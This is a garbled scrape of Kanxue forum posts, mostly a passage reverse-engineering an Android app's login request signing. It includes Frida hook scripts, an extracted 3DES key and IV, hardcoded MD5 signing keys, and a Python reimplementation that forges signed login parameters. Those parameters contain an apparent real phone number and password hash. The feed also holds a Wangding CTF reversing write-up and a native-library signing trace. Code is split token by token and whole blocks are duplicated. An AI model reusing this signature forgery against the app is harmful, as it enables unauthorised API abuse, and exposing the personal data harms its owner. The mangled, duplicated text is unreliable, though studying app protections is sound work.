\\"Encrypted data: {encoded_data}\\"
)
\\n其中des_key需要拿到
其中des_key需要拿到
看起来是个so文件
按照我的经验来说继续hook这个 多hook几次看看值是不是一样的 经验看 很多都是死值 除了大型app
\\n
很好 这个是个死值
\\n
那俺么我就得到了 des_key
\\nIV
现在还差一IV 但是他这个IV是常量
\\n
private static final String iv
=
\\"appapich\\"
;
\\n很好很好 UUID 我已经完成
看起来是个so文件
按照我的经验来说继续hook这个 多hook几次看看值是不是一样的 经验看 很多都是死值 除了大型app
\\n
很好 这个是个死值
\\n
那俺么我就得到了 des_key
\\nIV
现在还差一IV 但是他这个IV是常量
\\n
private static final String iv
=
\\"appapich\\"
;
\\n很好很好 UUID 我已经完成
import
frida
\\nimport
sys
\\nrdev
=
frida.get_remote_device()
\\npid
=
rdev.spawn([
\\"xxxx\\"
])
\\nsession
=
rdev.attach(pid)
\\nscr
=
\\"\\"\\"
\\nJava.perform(function(){
var AppUtils
=
Java.use(
\\"xxxx.util.AppUtils\\"
)
\\n
AppUtils.getChannelId.implementation
=
function(c){
\\n
var res
=
this.getChannelId(c)
\\n
console.log(res,
\\"getChannelId\\"
)
\\n
return
res
\\n
}
\\n})
import
frida
\\nimport
sys
\\nrdev
=
frida.get_remote_device()
\\npid
=
rdev.spawn([
\\"xxxx\\"
])
\\nsession
=
rdev.attach(pid)
\\nscr
=
\\"\\"\\"
\\nJava.perform(function(){
var AppUtils
=
Java.use(
\\"xxxx.util.AppUtils\\"
)
\\n
AppUtils.getChannelId.implementation
=
function(c){
\\n
var res
=
this.getChannelId(c)
\\n
console.log(res,
\\"getChannelId\\"
)
\\n
return
res
\\n
}
\\n})
接下来看下一个参数
userkey 这个在请求中并没有发现这个值 如果下面没有引用的话 那么就不管
\\ncheckNullParams(treeMap); 这个干了什么 去看看
private static void checkNullParams(
Map
<String, String>
map
) {
\\n
for
(String
str
:
map
.keySet()) {
\\n
if
(
map
.get(
str
)
=
=
null) {
\\n
map
.put(
str
, \\"\\");
\\n
}
\\n
}
\\n
}
\\n这段 Java 代码的目的是检查给定的
Map
<String, String> 中的每个键值对,
\\n如果某个值是 null,则将该值替换为空字符串 \\"\\"
接下来看这个代码
String signByType
=
SignManager.INSTANCE.signByType(i, treeMap);
\\n还是进行hook下面的代码
接下来看下一个参数
userkey 这个在请求中并没有发现这个值 如果下面没有引用的话 那么就不管
\\ncheckNullParams(treeMap); 这个干了什么 去看看
private static void checkNullParams(
Map
<String, String>
map
) {
\\n
for
(String
str
:
map
.keySet()) {
\\n
if
(
map
.get(
str
)
=
=
null) {
\\n
map
.put(
str
, \\"\\");
\\n
}
\\n
}
\\n
}
\\n这段 Java 代码的目的是检查给定的
Map
<String, String> 中的每个键值对,
\\n如果某个值是 null,则将该值替换为空字符串 \\"\\"
接下来看这个代码
String signByType
=
SignManager.INSTANCE.signByType(i, treeMap);
\\n还是进行hook下面的代码
public
final
String signByType(
@SignType
int
i, TreeMap<String, String> paramMap) {
\\n
Intrinsics.checkNotNullParameter(paramMap,
\\"paramMap\\"
);
\\n
StringBuilder sb =
new
StringBuilder();
\\n
String str = KEY_V1;
\\n
if
(i !=
0
) {
\\n
if
(i ==
1
) {
\\n
str = KEY_V2;
\\n
}
else
if
(i ==
2
) {
\\n
str = KEY_SHARE;
\\n
}
else
if
(i ==
3
) {
\\n
str = KEY_AUTOHOME;
\\n
}
\\n
}
\\n
sb.append(str);
\\n
for
(String str2 : paramMap.keySet()) {
\\n
sb.append(str2);
\\n
sb.append(paramMap.get(str2));
\\n
}
\\n
sb.append(str);
\\n
String encodeMD5 = SecurityUtil.encodeMD5(sb.toString());
\\n
if
(encodeMD5 !=
null
) {
\\n
Locale ROOT = Locale.ROOT;
\\n
Intrinsics.checkNotNullExpressionValue(ROOT,
\\"ROOT\\"
);
\\n
String upperCase = encodeMD5.toUpperCase(ROOT);
\\n
Intrinsics.checkNotNullExpressionValue(upperCase,
\\"this as java.lang.String).toUpperCase(locale)\\"
);
\\n
if
(upperCase !=
null
) {
\\n
return
upperCase;
\\n
}
\\n
}
\\n
return
\\"\\"
;
\\n
}
\\npublic
final
String signByType(
@SignType
int
i, TreeMap<String, String> paramMap) {
\\n
Intrinsics.checkNotNullParameter(paramMap,
\\"paramMap\\"
);
\\n
StringBuilder sb =
new
StringBuilder();
\\n
String str = KEY_V1;
\\n
if
(i !=
0
) {
\\n
if
(i ==
1
) {
\\n
str = KEY_V2;
\\n
}
else
if
(i ==
2
) {
\\n
str = KEY_SHARE;
\\n
}
else
if
(i ==
3
) {
\\n
str = KEY_AUTOHOME;
\\n
}
\\n
}
\\n
sb.append(str);
\\n
for
(String str2 : paramMap.keySet()) {
\\n
sb.append(str2);
\\n
sb.append(paramMap.get(str2));
\\n
}
\\n
sb.append(str);
\\n
String encodeMD5 = SecurityUtil.encodeMD5(sb.toString());
\\n
if
(encodeMD5 !=
null
) {
\\n
Locale ROOT = Locale.ROOT;
\\n
Intrinsics.checkNotNullExpressionValue(ROOT,
\\"ROOT\\"
);
\\n
String upperCase = encodeMD5.toUpperCase(ROOT);
\\n
Intrinsics.checkNotNullExpressionValue(upperCase,
\\"this as java.lang.String).toUpperCase(locale)\\"
);
\\n
if
(upperCase !=
null
) {
\\n
return
upperCase;
\\n
}
\\n
}
\\n
return
\\"\\"
;
\\n
}
\\n这个下面进行kook
这个下面进行kook
import
frida
\\nimport
sys
\\nrdev
=
frida.get_remote_device()
\\npid
=
rdev.spawn([
\\"xxxx\\"
])
\\nsession
=
rdev.attach(pid)
\\nscr
=
\\"\\"\\"
\\nJava.perform(function(){
var AppUtils
=
Java.use(
\\"xxxx.util.AppUtils\\"
)
\\n
AppUtils.signByType.implementation
=
function(i,tree){
\\n
console.log(i,
\\"getChannelId i\\"
)
\\n
console.log(tree,
\\"getChannelId tree\\"
)
\\n
var res
=
this.signByType(i,tree)
\\n
console.log(res,
\\"getChannelId\\"
)
\\n
return
res
\\n
}
\\n})
import
frida
\\nimport
sys
\\nrdev
=
frida.get_remote_device()
\\npid
=
rdev.spawn([
\\"xxxx\\"
])
\\nsession
=
rdev.attach(pid)
\\nscr
=
\\"\\"\\"
\\nJava.perform(function(){
var AppUtils
=
Java.use(
\\"xxxx.util.AppUtils\\"
)
\\n
AppUtils.signByType.implementation
=
function(i,tree){
\\n
console.log(i,
\\"getChannelId i\\"
)
\\n
console.log(tree,
\\"getChannelId tree\\"
)
\\n
var res
=
this.signByType(i,tree)
\\n
console.log(res,
\\"getChannelId\\"
)
\\n
return
res
\\n
}
\\n})
接下来也是一行行查看
Intrinsics.checkNotNullParameter(paramMap,
\\"paramMap\\"
);
\\n
StringBuilder sb
=
new StringBuilder();
\\n
String
str
=
KEY_V1;
\\n
if
(i !
=
0
) {
\\n
if
(i
=
=
1
) {
\\n
str
=
KEY_V2;
\\n
}
else
if
(i
=
=
2
) {
\\n
str
=
KEY_SHARE;
\\n
}
else
if
(i
=
=
3
) {
\\n
str
=
KEY_AUTOHOME;
\\n
}
\\n
}
\\n
sb.append(
str
);
\\n
for
(String str2 : paramMap.keySet()) {
\\n
sb.append(str2);
\\n
sb.append(paramMap.get(str2));
\\n
}
\\n
sb.append(
str
);
\\n
上面就是按照i进行了是那个i进行了拼接 没什么可看的 那就按照他的做
\\n
下面就是按照MD5进行了加密
\\n
String encodeMD5
=
SecurityUtil.encodeMD5(sb.toString());
\\n
Locale ROOT
=
Locale.ROOT;
\\nIntrinsics.checkNotNullExpressionValue(ROOT,
\\"ROOT\\"
);
\\nString upperCase
=
encodeMD5.toUpperCase(ROOT);
\\nIntrinsics.checkNotNullExpressionValue(upperCase,
\\"this as java.lang.String).toUpperCase(locale)\\"
);
\\n这个代码就是可以理解成转换成大写 从这里开看 已经完成了大部分的参数 下面是我的python实现
接下来也是一行行查看
Intrinsics.checkNotNullParameter(paramMap,
\\"paramMap\\"
);
\\n
StringBuilder sb
=
new StringBuilder();
\\n
String
str
=
KEY_V1;
\\n
if
(i !
=
0
) {
\\n
if
(i
=
=
1
) {
\\n
str
=
KEY_V2;
\\n
}
else
if
(i
=
=
2
) {
\\n
str
=
KEY_SHARE;
\\n
}
else
if
(i
=
=
3
) {
\\n
str
=
KEY_AUTOHOME;
\\n
}
\\n
}
\\n
sb.append(
str
);
\\n
for
(String str2 : paramMap.keySet()) {
\\n
sb.append(str2);
\\n
sb.append(paramMap.get(str2));
\\n
}
\\n
sb.append(
str
);
\\n
上面就是按照i进行了是那个i进行了拼接 没什么可看的 那就按照他的做
\\n
下面就是按照MD5进行了加密
\\n
String encodeMD5
=
SecurityUtil.encodeMD5(sb.toString());
\\n
Locale ROOT
=
Locale.ROOT;
\\nIntrinsics.checkNotNullExpressionValue(ROOT,
\\"ROOT\\"
);
\\nString upperCase
=
encodeMD5.toUpperCase(ROOT);
\\nIntrinsics.checkNotNullExpressionValue(upperCase,
\\"this as java.lang.String).toUpperCase(locale)\\"
);
\\n这个代码就是可以理解成转换成大写 从这里开看 已经完成了大部分的参数 下面是我的python实现
def
encode_md5(s):
\\n
# 创建 MD5 哈希对象
\\n
md5
=
hashlib.md5()
\\n
# 更新哈希对象
\\n
md5.update(s.encode(
\'utf-8\'
))
\\n
# 获取十六进制格式的哈希值
\\n
return
md5.hexdigest()
\\ndef
make_uuid(
\\n
imei,
\\n
report_val_separator,
\\n
nano_time,
\\n
getDeviceId,
\\n):
make_str
=
imei
+
report_val_separator
+
str
(nano_time)
+
report_val_separator
+
getDeviceId
\\n
return
make_str
\\nuuid
=
make_uuid(
\\n
imei
=
\\"x\\"
,
\\n
report_val_separator
=
\\"x\\"
,
\\n
nano_time
=
time.time_ns(),
\\n
getDeviceId
=
\\"x\\"
,
\\n)
print
(uuid)
\\ndef
make_3DES(desKey, data):
\\n
from
Crypto.Cipher
import
DES3
\\n
from
Crypto.Util.Padding
import
pad
\\n
from
Crypto.Random
import
get_random_bytes
\\n
import
base64
\\n
# 你提供的 IV 值,或者可以动态生成
\\n
iv
=
b
\\"appapich\\"
# 或者使用一个更安全的随机IV
\\n
if
len
(desKey) !
=
24
:
\\n
raise
ValueError(
\\"The DES key must be 24 bytes long for 3DES.\\"
)
\\n
# 确保 key 的长度是 24 字节
\\n
desKey
=
desKey.encode(
\'utf-8\'
)[:
24
]
\\n
cipher
=
DES3.new(desKey, DES3.MODE_CBC, iv)
\\n
# 对输入数据进行 padding
\\n
padded_data
=
pad(data.encode(
\'utf-8\'
), DES3.block_size)
\\n
# 加密数据
\\n
encrypted_data
=
cipher.encrypt(padded_data)
\\n
# 返回加密后的数据,并进行 base64 编码
\\n
return
base64.b64encode(encrypted_data).decode(
\'utf-8\'
)
\\ndesKey
=
\\"xxxxxxxx\\"
# 用你自己的 desKey 替换
\\nencoded_data
=
make_3DES(desKey[
0
:
24
], uuid)
\\ndef
sign_type(param_map):
\\n
import
hashlib
\\n
# 密钥定义 (替换成相应的密钥)
\\n
KEY_V1
=
\\"W@oC!AH_6Ew1f6%8\\"
\\n
KEY_V2
=
\\"W@oC!AH_6Ew1f6%8\\"
\\n
KEY_SHARE
=
\\"W@oC!AH_6Ew1f6%8\\"
\\n
KEY_AUTOHOME
=
\\"W@oC!AH_6Ew1f6%8\\"
\\n
def
sign_by_type(i, param_map):
\\n
# 参数检查
\\n
if
not
isinstance
(param_map,
dict
):
\\n
raise
ValueError(
\\"param_map must be a dictionary\\"
)
\\n
# 根据 i 选择密钥
\\n
if
i
=
=
0
:
\\n
key
=
KEY_V1
\\n
elif
i
=
=
1
:
\\n
key
=
KEY_V2
\\n
elif
i
=
=
2
:
\\n
key
=
KEY_SHARE
\\n
elif
i
=
=
3
:
\\n
key
=
KEY_AUTOHOME
\\n
else
:
\\n
raise
ValueError(
\\"Invalid value for \'i\'\\"
)
\\n
# 拼接字符串
\\n
sb
=
key
\\n
for
key_str, value_str
in
param_map.items():
\\n
sb
+
=
key_str
+
value_str
\\n
sb
+
=
key
\\n
# 计算 MD5
\\n
md5_result
=
hashlib.md5(sb.encode(
\'utf-8\'
)).hexdigest().upper()
\\n
return
md5_result
\\n
# 示例用法
\\n
i
=
1
# 用你提供的类型值
\\n
signed_result
=
sign_by_type(i, param_map)
\\n
return
signed_result
\\n_sign
=
sign_type(
\\n
param_map
=
{
\\n
\'_appid\'
:
\'xxxx\'
,
\\n
\'appversion\'
:
\'xxxx\'
,
\\n
\'channelid\'
:
\'xxxx\'
,
\\n
\'pwd\'
:
\'96e79218965eb72c92a549dd5a330112\'
,
\\n
\'signkey\'
: \'\',
\\n
\'type\'
: \'\',
\\n
\'udid\'
: encoded_data,
\\n
\'username\'
:
\'15633624055\'
\\n}
)
def
encode_md5(s):
\\n
# 创建 MD5 哈希对象
\\n
md5
=
hashlib.md5()
\\n
# 更新哈希对象
\\n
md5.update(s.encode(
\'utf-8\'
))
\\n
# 获取十六进制格式的哈希值
\\n
return
md5.hexdigest()
\\ndef
make_uuid(
\\n
imei,
\\n
report_val_separator,
\\n
nano_time,
\\n
getDeviceId,
\\n):
make_str
=
imei
+
report_val_separator
+
str
(nano_time)
+
report_val_separator
+
getDeviceId
\\n
return
make_str
\\nuuid
=
make_uuid(
\\n[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
\\n\\n\\n\\n\\n\\n\\n\\n\\n","description":"为了安全考虑这个app我就不说是那个了 我就说整体的思路\\n仅供交流学习 严谨非法使用\\n为了安全考虑这个app我就不说是那个了 我就说整体的思路\\n仅供交流学习 严谨非法使用\\n手机使用代理连接charles\\n之后开始点击app登录 进行抓包\\n手机使用代理连接charles\\n之后开始点击app登录 进行抓包\\n下面则是我抓到的包 \\n下面则是我抓到的包 \\n抓包之后j进行改包\\n也就是去掉form中的随机一个参数进行请求发送 这一步的目的就是去除掉没用的参数\\n这样的话就可以在逆向的时候减少工作量\\n \\n下面我告诉大家如何该报\\n抓包之后j进行改包\\n也就是去掉form中的…","guid":"https://bbs.kanxue.com/thread-284253.htm","author":null,"authorUrl":null,"authorAvatar":null,"publishedAt":"2024-11-05T07:58:00.459Z","media":[{"url":"https://bbs.kanxue.com/upload/attach/202411/1004574_NSUQGC5RA2XAAJ8.png","type":"photo","width":57,"height":72,"blurhash":"LEQmen_2~8%h?wxZs8S5-5n$9cNe"},{"url":"https://bbs.kanxue.com/upload/attach/202411/1004574_BU4V889J2UEVC36.png","type":"photo","width":322,"height":583,"blurhash":"LmQvazx[D*s;~qafWBof9YV[ofj@"},{"url":"https://bbs.kanxue.com/upload/attach/202411/1004574_XWZVK5PQBC296HU.png","type":"photo","width":1726,"height":1212,"blurhash":"L8R:KOo#Io_3?vR*t7of0K%2xtjF"},{"url":"https://bbs.kanxue.com/upload/attach/202411/1004574_WM2YCXJHMRMSQZQ.png","type":"photo","width":1726,"height":1212,"blurhash":"L7R:KOt8Ip_N?vRjt8kW0J%2%1js"},{"url":"https://bbs.kanxue.com/upload/attach/202411/1004574_452PU3MUGCG7XG6.png","type":"photo","width":1263,"height":1063,"blurhash":"LDSidI-;Rj?b_3RPV@of00NGV@WB"},{"url":"https://bbs.kanxue.com/upload/attach/202411/1004574_3YTFAS2XKX59CCK.png","type":"photo","width":2536,"height":1423,"blurhash":"LFSPX^~qMwxv-pWBM{WBWGnzt7kD"},{"url":"https://bbs.kanxue.com/upload/attach/202411/1004574_JJHRP5J5KNBSUCC.png","type":"photo","width":1392,"height":984,"blurhash":"LAS6Pl?bM_?vflR+RPR+01RjWrV@"},{"url":"https://bbs.kanxue.com/upload/attach/202411/1004574_FUH42WDNP8V6N6H.png","type":"photo","width":1575,"height":1020,"blurhash":"LFSY]jN4XB_4%2NLW?jJMwR-W=ae"},{"url":"https://bbs.kanxue.com/upload/attach/202411/1004574_7G3ANYVY57N55UF.png","type":"photo","width":1395,"height":628,"blurhash":"LAR:E6%Nx^~q-%tRozahpIWYRRV_"},{"url":"https://bbs.kanxue.com/upload/attach/202411/1004574_NYG4D5G35Y8BNYK.png","type":"photo","width":940,"height":373,"blurhash":"LDSF;L.A-n_LXTRpt6t2XCaeRpWA"}],"categories":null,"attachments":null,"extra":null,"language":null},{"title":"[原创]2024网鼎-Reveres-WP","url":"https://bbs.kanxue.com/thread-284165.htm","content":"\\n\\nJava代码审计
Native层加密
jeb反编译apk找到MainActivity类
创建了一个按钮,判断按钮,获取到输入框的数据存储到editText0,editText0不为空的话创建了一个按钮类b
跟进去分析
逻辑很清晰,就是从输入框中读取字符串后保存到s,判断s是否为空,传入Check类中的validate方法并把s传入进去,跟进这个validate方法分析
发现是在Native层进行的加密,那就在lib中找到这个so文件
动态注册的函数在JNI_OnLoad中看到这些数据,点进off_11D88分析
方法名称,方法参数类型,调用方法为sub_75C,跟进这个方法分析
先看这个函数干了些啥
感觉像是某种加密啊,又看到byte_CC4和unk_C44数组长度是256,不是RC4就是SM4加密了,
感觉是key,对key进行一下变换给下面的循环用了,aA1122357753221就是key了,在这一串十六进制字符上点一下按R
对aA1122357753221第8位开始重新赋值,双击看一下aA1122357753221的值A11223577532211A,后8位是Z0099864,不过这里要反过来,因为在IDA是小端存储。所以key就是A11223574689900Z
byte_C14就是密文了,
提取出来直接在线解密一把梭哈
// wdflag{7314c25f-7097-483e-b745-fe96bb6a0b24}
Native层就是一个SM4加密,而且还是默认加密模式,无填充。
ELF文件分析
C代码审计
基础加解密
DIE分析程序发现是ELF64位的无壳程序。
IDApro打开分析
输入flag,判断输入长度是否为40,前7位是wdflag{最后一位是}
v20保存了{}中的数据,长度为32个,把v20的数据复制到dest中。
第一个加密,对dest的前8位进行乘法加密后存储到s1,再使用s1与s2作比较,如果一样则继续往下走,那么这里的s2就是密文了,在伪代码视图下s2显示的不完整,切换到汇编视图下
会发现密文就是这8个字节,提取出来每个字节在除以2就是明文了。
第二个加密,对从第8位开始到16位进行异或加密,异或key是XorrLord,密文是v11,同样是在汇编视图下看v11密文
提取出来在对key进行异或就是明文。
第三块加密,是一个base64编码,跟进这个函数查看一下码表发现是:
CDEFGHIJKLMNOPQRSTUVWXYZABabcdefghijklmnopqrstuvwxyz0123456789+/
那密文就是PVLlQVPhPFW了,赛博厨子在线解码一下就好了
最后一个加密是AES加密,key是AesMasterAesMast,把v18的值复制给v8,在走一个for循环对v8从第8位开始赋值为8,赋值8个,这里的v8是int64类型的。
这里的v8是AES的IV,其实这里的AES是ECB模式,不需要的IV的。密文很明显就是v4了,提取出来直接在线网站解密
拿到最后一个明文。
把这四个明文合在一起就是flag了。
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
\\n\\n\\n\\n\\n\\n上传的附件:\\n前言: 本文仅为了交流学习,提高逆向对抗的水平,更好的防护APP。
\\n不提供Frida调用脚本,不提供成品算法,仅记录分析过程。如有侵权,请联系我下架,但是我更希望厂商能在不断对抗中进步学习进步自己的产品。
\\n1 2 3 4 5 6 7 | gan_sign script loaded successfully memory_function called with pointer: function value() { [native code] } input : / 打码 / android / auth / password wdi4n2t8edr - 28673 output: ad6980251c11b17d60ef6cd01cd6cba7 message: { \'type\' : \'send\' , \'payload\' : \'ad6980251c11b17d60ef6cd01cd6cba7\' } data: None |
进行入参的字符串分析
\\n通过字符串出现的地址找到处理这个字符串的地址
\\n定位到这个函数,发现是个基础函数,通过trace找一共调用了几次
\\n写一个frida脚本进行hook,看处理了什么
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | [ 22041216C ::包名打码 ] - > call() gan_sign script loaded successfully entered Current string: / leo - gateway / android / auth / password String to append: wdi4n2t8edr entered Current string: / leo - gateway / android / auth / passwordwdi4n2t8edr String to append: bcd65d0baba159174a6b3331ac998605 entered Current string: / leo - gateway / android / auth / passwordwdi4n2t8edrbcd65d0baba159174a6b3331ac998605 String to append: / leo - gateway / android / auth / password entered Current string: / leo - gateway / android / auth / passwordwdi4n2t8edrbcd65d0baba159174a6b3331ac998605 / leo - gateway / android / auth / password String to append: 654194b4dbd03e4dc79ccbce86dda67a entered Current string: / leo - gateway / android / auth / passwordwdi4n2t8edrbcd65d0baba159174a6b3331ac998605 / leo - gateway / android / auth / password654194b4dbd03e4dc79ccbce86dda67a String to append: 142401346320179532017943221662728816116777216143261965096053842881612216627182881616157632309605384288161611428816154288161612619650288161524802692576323014960538414480269248026927144161488641828816161147144161488643201794576323032017955763230288161521169605384288161552881615143355443219288161532881615214576323028816155480269219167772161414288161611416721288161541428816153433554432240134657632307288161614 entered Current string: / leo - gateway / android / auth / passwordwdi4n2t8edrbcd65d0baba159174a6b3331ac998605 / leo - gateway / android / auth / password654194b4dbd03e4dc79ccbce86dda67a142401346320179532017943221662728816116777216143261965096053842881612216627182881616157632309605384288161611428816154288161612619650288161524802692576323014960538414480269248026927144161488641828816161147144161488643201794576323032017955763230288161521169605384288161552881615143355443219288161532881615214576323028816155480269219167772161414288161611416721288161541428816153433554432240134657632307288161614 String to append: e137a72e24678540f39b76b454f30661 entered Current string: / leo - gateway / android / auth / passwordwdi4n2t8edrbcd65d0baba159174a6b3331ac998605 / leo - gateway / android / auth / password654194b4dbd03e4dc79ccbce86dda67a142401346320179532017943221662728816116777216143261965096053842881612216627182881616157632309605384288161611428816154288161612619650288161524802692576323014960538414480269248026927144161488641828816161147144161488643201794576323032017955763230288161521169605384288161552881615143355443219288161532881615214576323028816155480269219167772161414288161611416721288161541428816153433554432240134657632307288161614e137a72e24678540f39b76b454f30661 String to append: wdi4n2t8edr input : / leo - gateway / android / auth / password wdi4n2t8edr - 28673 output: 48e0bfda36ffbd3d66d79264da7e5b93 message: { \'type\' : \'send\' , \'payload\' : \'48e0bfda36ffbd3d66d79264da7e5b93\' } data: None |
发现算法直接被还原出来了,但是到这里还没有结束,让我们看看厂商创新的点
\\n接下来目标变得非常简单,看这些字符串哪里来的
\\n首先是简单的字符串拼接
\\n大家可以根据打印日志尝试,进行还原
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | / / Hook std::string::append 函数 var libRequestEncoder = Module.findBaseAddress( \\"libRequestEncoder.so\\" ) var addr = libRequestEncoder.add( 0xb18b0 ); Interceptor.attach(ptr(addr), { onEnter: function (args) { console.log( \\"entered\\" ) var a1 = args[ 0 ]; / / std::string 对象 var src = args[ 1 ]; / / 要添加的字符串 var n = args[ 2 ].toInt32(); / / 要添加的长度 / / 判断是否使用小对象优化 var v4 = Memory.readU8(a1); var isSSO = (v4 & 1 ) = = 0 ; / / 获取当前字符串内容 var currentStr; if (isSSO) { / / 小对象优化 currentStr = Memory.readUtf8String(a1.add( 1 )); / / 从a1 + 1 位置读取字符串 } else { / / 堆上的字符串 var ptr = Memory.readPointer(a1.add( 16 )); / / a1[ 2 ] 是堆上的字符串指针 currentStr = Memory.readUtf8String(ptr); } / / 打印当前字符串和即将添加的字符串 console.log( \\"Current string: \\" + currentStr); console.log( \\"String to append: \\" + Memory.readUtf8String(src, n)); } }); |
简单的字符串拼接我就不讲了:
\\n这里有一串位置数字
\\n找一下:
\\n142401346320179532017943221662728816116777216143261965096053842881612216627182881616157632309605384288161611428816154288161612619650288161524802692576323014960538414480269248026927144161488641828816161147144161488643201794576323032017955763230288161521169605384288161552881615143355443219288161532881615214576323028816155480269219167772161414288161611416721288161541428816153433554432240134657632307288161614
\\n的来源
\\n根据入参数推算大概率和第三个参数有关系 -28673
\\n看一下调用了哪些函数,找一下线索
\\n发现调用了大量rand,在这里我推测和第三个入参,以及ctf中出现的伪随机数有关系
\\n从内存中找一些线索
\\n1324013443201793320179222216625288161167772161322
\\n找到第一次出现的地方
\\n发现在这个函数里
\\n发现只是一个复制用的系统库函数
\\n从函数头找上一次调用点
\\n在此处发现线索
\\n搜索内存写入的地址
\\n7d09097130 [libRequestEncoder.so!67130]stpx8, x9, [x19, #48]; r[X8=0xb400007c95400b01 X9=0xb400007c95400b17 X19=0xb400007c95400ac0] w[]
\\n通过ida动静态结合
\\n向上寻找上一层调用
\\n再次向上追溯
\\n发现是num_put的第二个参数
\\n还处于系统库之中
\\n找到疑似计算的地方
\\n向上追溯一层堆栈,瞬间清晰明了,之前的几次append也被发现了
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 | void __usercall sub_66A48( __int64 a1@<X0>, unsigned __int8 * a2@<X1>, unsigned __int8 * a3@<X2>, int a4@<W3>, _QWORD * a5@<X8>) { unsigned __int64 v8; / / x8 bool v9; / / zf size_t v10; / / x8 void * v11; / / x1 size_t v12; / / x2 char * v13; / / x1 size_t v14; / / x2 unsigned __int64 v15; / / x8 bool v16; / / zf size_t v17; / / x8 void * v18; / / x1 size_t v19; / / x2 char * v20; / / x1 size_t v21; / / x2 _BYTE * v22; / / x1 size_t v23; / / x2 char * v24; / / x1 size_t v25; / / x2 unsigned __int64 v26; / / x8 bool v27; / / zf size_t v28; / / x8 void * v29; / / x1 size_t v30; / / x2 __int64 v31; / / [xsp + 0h ] [xbp - C0h] BYREF size_t v32; / / [xsp + 8h ] [xbp - B8h] void * v33; / / [xsp + 10h ] [xbp - B0h] _BYTE v34[ 16 ]; / / [xsp + 18h ] [xbp - A8h] BYREF void * v35; / / [xsp + 28h ] [xbp - 98h ] unsigned __int8 v36; / / [xsp + 30h ] [xbp - 90h ] _BYTE v37[ 15 ]; / / [xsp + 31h ] [xbp - 8Fh ] BYREF void * v38; / / [xsp + 40h ] [xbp - 80h ] _BYTE v39[ 112 ]; / / [xsp + 48h ] [xbp - 78h ] BYREF __int64 v40; / / [xsp + B8h] [xbp - 8h ] v40 = * (_QWORD * )(_ReadStatusReg(ARM64_SYSREG( 3 , 3 , 13 , 0 , 2 )) + 40 ); sub_65794(a1, a4); std::string::basic_string(v34, a2); v8 = * a3; v9 = (v8 & 1 ) = = 0 ; v10 = v8 >> 1 ; if ( v9 ) v11 = a3 + 1 ; else v11 = (void * ) * ((_QWORD * )a3 + 2 ); if ( v9 ) v12 = v10; else v12 = * ((_QWORD * )a3 + 1 ); std::string::append(( int )v34, v11, v12); sub_64970(v39, v34); sub_655F4(&v31, v39); if ( (v31 & 1 ) ! = 0 ) v13 = (char * )v33; else v13 = (char * )&v31 + 1 ; if ( (v31 & 1 ) ! = 0 ) v14 = v32; else v14 = (unsigned __int64)(unsigned __int8)v31 >> 1 ; std::string::append(( int )v34, v13, v14); if ( (v31 & 1 ) ! = 0 ) operator delete(v33); v15 = * a2; v16 = (v15 & 1 ) = = 0 ; v17 = v15 >> 1 ; if ( v16 ) v18 = a2 + 1 ; else v18 = (void * ) * ((_QWORD * )a2 + 2 ); if ( v16 ) v19 = v17; else v19 = * ((_QWORD * )a2 + 1 ); std::string::append(( int )v34, v18, v19); sub_64970(v39, v34); sub_655F4(&v31, v39); if ( (v31 & 1 ) ! = 0 ) v20 = (char * )v33; else v20 = (char * )&v31 + 1 ; if ( (v31 & 1 ) ! = 0 ) v21 = v32; else v21 = (unsigned __int64)(unsigned __int8)v31 >> 1 ; std::string::append(( int )v34, v20, v21); if ( (v31 & 1 ) ! = 0 ) operator delete(v33); if ( (v36 & 1 ) ! = 0 ) v22 = v38; else v22 = v37; if ( (v36 & 1 ) ! = 0 ) v23 = * (_QWORD * )&v37[ 7 ]; else v23 = (unsigned __int64)v36 >> 1 ; std::string::append(( int )v34, v22, v23); sub_64970(v39, v34); sub_655F4(&v31, v39); if ( (v31 & 1 ) ! = 0 ) v24 = (char * )v33; else v24 = (char * )&v31 + 1 ; if ( (v31 & 1 ) ! = 0 ) v25 = v32; else v25 = (unsigned __int64)(unsigned __int8)v31 >> 1 ; std::string::append(( int )v34, v24, v25); if ( (v31 & 1 ) ! = 0 ) operator delete(v33); v26 = * a3; v27 = (v26 & 1 ) = = 0 ; v28 = v26 >> 1 ; if ( v27 ) v29 = a3 + 1 ; else v29 = (void * ) * ((_QWORD * )a3 + 2 ); if ( v27 ) v30 = v28; else v30 = * ((_QWORD * )a3 + 1 ); std::string::append(( int )v34, v29, v30); sub_64970(v39, v34); sub_655F4(a5, v39); if ( (v34[ 0 ] & 1 ) ! = 0 ) operator delete(v35); if ( (v36 & 1 ) ! = 0 ) operator delete(v38); } |
那么我们直接找增加随机数的这个append前面的逻辑即可
\\n倒数第三次
\\n根据log就可以还原
\\n理所当然的只有一次出现 我们只需要跟踪
\\n7d09096b88 [libRequestEncoder.so!66b88]cselx1, x10, x9, eq; r[X10=0xb400007c95400c71 X9=0xb400007c7347c880] w[X1=0xb400007c72e0e900]
\\n根据上下文判断(tst w8 0x1) x9会赋值给x1 追踪x9赋值的地方
\\n发现在栈里 进一步跟踪栈的值
\\n向上追溯发现大量字符串 是目标的
\\n找到随机串第一次出现的地方
\\n真口算
